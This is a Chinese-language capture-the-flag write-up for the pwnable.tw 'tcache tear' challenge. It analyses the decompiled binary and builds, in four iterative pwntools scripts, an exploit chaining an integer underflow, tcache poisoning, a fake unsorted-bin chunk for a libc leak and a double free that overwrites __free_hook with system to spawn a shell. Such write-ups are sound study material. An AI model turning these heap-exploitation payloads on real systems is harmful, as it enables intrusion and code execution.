---
# System prepended metadata

title: Pwnable.tw-tcache tear

---

# Pwnable.tw-tcache tear
> Author: 堇姬Naup

## analyze code
先IDA逆一波，把函數重新命名
### main
```c
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 choice; // rax
  unsigned int free_chunk_cnt; // [rsp+Ch] [rbp-4h]

  IOinit();
  printf("Name:");
  read_str((__int64)&unk_602060, 0x20u);
  free_chunk_cnt = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = read_choice();
      if ( choice != 2 )
        break;
      if ( free_chunk_cnt <= 7 )
      {
        free(ptr);
        ++free_chunk_cnt;
      }
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        info();
      }
      else
      {
        if ( choice == 4 )
          exit(0);
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( choice != 1 )
        goto LABEL_14;
      create();
    }
  }
}
```

最多只能free 8個chunk
並且會free掉當前最新的chunk

ptr 在 bss上，並且沒有開PIE，若能任意寫掉free(ptr)，就可以去free想要的地方

有以下功能
```
puts("  1. Malloc            ");
puts("  2. Free              ");
puts("  3. Info              ");
puts("  4. Exit              ");
```

### create (malloc)

```c
int sub_400B14()
{
  unsigned __int64 v0; // rax
  int size; // [rsp+8h] [rbp-8h]

  printf("Size:");
  v0 = read_choice();
  size = v0;
  if ( v0 <= 0xFF )
  {
    ptr = malloc(v0);
    printf("Data:");
    read_str((__int64)ptr, size - 16);
    LODWORD(v0) = puts("Done !");
  }
  return v0;
}
```

size不可以小於 0xFF，並且可以寫值到chunk上

### info
印出 name ，位在0x602060，若能讓libc在name位置上，可以拿來leak libc
```c
ssize_t sub_400B99()
{
  printf("Name :");
  return write(1, &unk_602060, 0x20uLL);
}
```

## 分析
沒開PIE
![image](https://hackmd.io/_uploads/rJuz-Xa2C.png)

首先我的想法是，如果size小於16，那size - 16會變成一個超大的數字，導致heap overflow，這邊考慮可以打tcache poinsoning到free hook上寫system
之後malloc一塊寫/bin/sh，最後free

我先malloc 一塊大小為0xe
一個大小為 0x60

這樣會拿到一塊 0x20
這樣會拿到一塊 0x70

```
-------------------------- 
|      0       |   0x20  |
|      0       |    0    | <-ptr1
-------------------------- 
|      0       |   0x70  |
|      0       |    0    | <-ptr2
|              |         |
|              |         |
--------------------------
```

free 掉兩塊
接下來malloc一塊 0xe

就會拿到 0x20那塊

0xe - 0xf = -1 = 0xfffff...

```
-------------------------- 
|      0       |   0x20  |
|    a * 8     |   a*8   | <-ptr1
-------------------------- 
|    a * 8     |   0x71  |
|  fake chunk  |    0    | <-ptr2
|              |         |
|              |         |
--------------------------
```

```
tcache[0x70] -> chunk 2 -> fake chunk 
```
並且有heap overflow，可以蓋掉fd，之後malloc兩次就可以拿到任意寫


```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./tcachetear')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc naup.com 2000")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
    sla(b'Your choice :' , b'1')
    sla(b'Size:' , str(size).encode())
    sla(b'Data:' , data)

def FREE():
    sla(b'Your choice :',b'2')

def INFO():
    sla(b'Your choice :',b'3')


### exploit

p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

MALLOC(0x60,b'aaaaa')

###
ita()

```

那接下來要想想如何leak libc

這邊想要利用 unsorted bin來leak libc ，但是我們只能malloc小於0xff，這邊的想法是利用任意寫改chunk fd到bss段上偽造一個大小為unsorted bin 的 fake chunk



info會印出namespace上的東西，將fake chunk fd偽造到這上面，就可以了

但是unsorted bin free要指向 data，這邊可以透過覆蓋
```
bss:0000000000602088 ptr 
```
也就是下個要free的位置來修改 pointer，free任意位置

```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./tcachetear')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc naup.com 2000")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
    sla(b'Your choice :' , b'1')
    sla(b'Size:' , str(size).encode())
    sla(b'Data:' , data)

def FREE():
    sla(b'Your choice :',b'2')

def INFO():
    sla(b'Your choice :',b'3')


### exploit

#p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

fake_chunk = p64(0)+p64(0x481)+p64(0)*5+p64(0x602060)

MALLOC(0x60,fake_chunk)

FREE()



###
ita()
```

吃 double free or corruption (!prev)
感覺是連下一塊都要偽造

```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./tcachetear')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
    sla(b'Your choice :' , b'1')
    sla(b'Size:' , str(size).encode())
    sla(b'Data:' , data)

def FREE():
    sla(b'Your choice :',b'2')

def INFO():
    sla(b'Your choice :',b'3')


### exploit

#p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'fff')
FREE()

MALLOC(0x80,b'rrr')
FREE()

next_fake_addr = name_bss - 0x10 + 0x500

aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr)

MALLOC(0xe, aaw_fake_chunk_payload)

MALLOC(0x80,b'\n')

next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21)

MALLOC(0x80,next_fake_chunk)

####

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)

MALLOC(0x60,fake_chunk)

FREE()

INFO()

rcu(b'Name :')
leaklibc = u64(rcl()[:8])
libc_offset = 0x3ebca0
libc_base = leaklibc - libc_offset

NAUPINFO('LEAK LIBC',hex(leaklibc))
NAUPINFO('LIBC BASE',hex(libc_base))

###
ita()
```

這樣就成功leak libc了

目前用了5個FREE
加上寫掉 free_hook的兩個free，跟觸發free_hook的一個free，剛剛好

這邊再打一輪 tcache poinsoning 到free_hook，改成system 開一個 shell

這邊chunk狀況其實有點混亂了，所以最後改打double free來寫free hook，一樣用到兩個FREE
```
tcache[0x50] -> chunk -> chunk -> chunk -> ...
```

```
tcache[0x50] -> chunk -> free_hook
```

之後malloc一塊，此時free指向該chunk data，寫上/bin/sh再來free掉就會是 system('/bin/sh')

### exploit
```python=
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./tcachetear')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
    sla(b'Your choice :' , b'1')
    sla(b'Size:' , str(size).encode())
    sla(b'Data:' , data)

def FREE():
    sla(b'Your choice :',b'2')

def INFO():
    sla(b'Your choice :',b'3')


### exploit

#p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'fff')
FREE()

MALLOC(0x80,b'rrr')
FREE()

next_fake_addr = name_bss - 0x10 + 0x500

aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr)

MALLOC(0xe, aaw_fake_chunk_payload)

MALLOC(0x80,b'\n')

next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21)

MALLOC(0x80,next_fake_chunk)

####

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)

MALLOC(0x60,fake_chunk)

FREE()

INFO()

rcu(b'Name :')
leaklibc = u64(rcl()[:8])
libc_offset = 0x3ebca0
libc_base = leaklibc - libc_offset

NAUPINFO('LEAK LIBC',hex(leaklibc))
NAUPINFO('LIBC BASE',hex(libc_base))

free_hook_libc = libc_base + 0x3ed8e8
system_libc = libc_base + 0x4f440 

MALLOC(0x40,b'kkk')
FREE()
FREE()

MALLOC(0x40,p64(free_hook_libc))
MALLOC(0x40,p64(free_hook_libc))

NAUPINFO('freehook',hex(free_hook_libc))
NAUPINFO('system',hex(system_libc))
MALLOC(0x40,p64(system_libc))

MALLOC(0x30,b'/bin/sh\x00')
FREE()

###
ita()

```

串起了 integer overflow 、 tcache poinsoning 、double free，終於排完了
![image](https://hackmd.io/_uploads/SyjIxRanC.png)
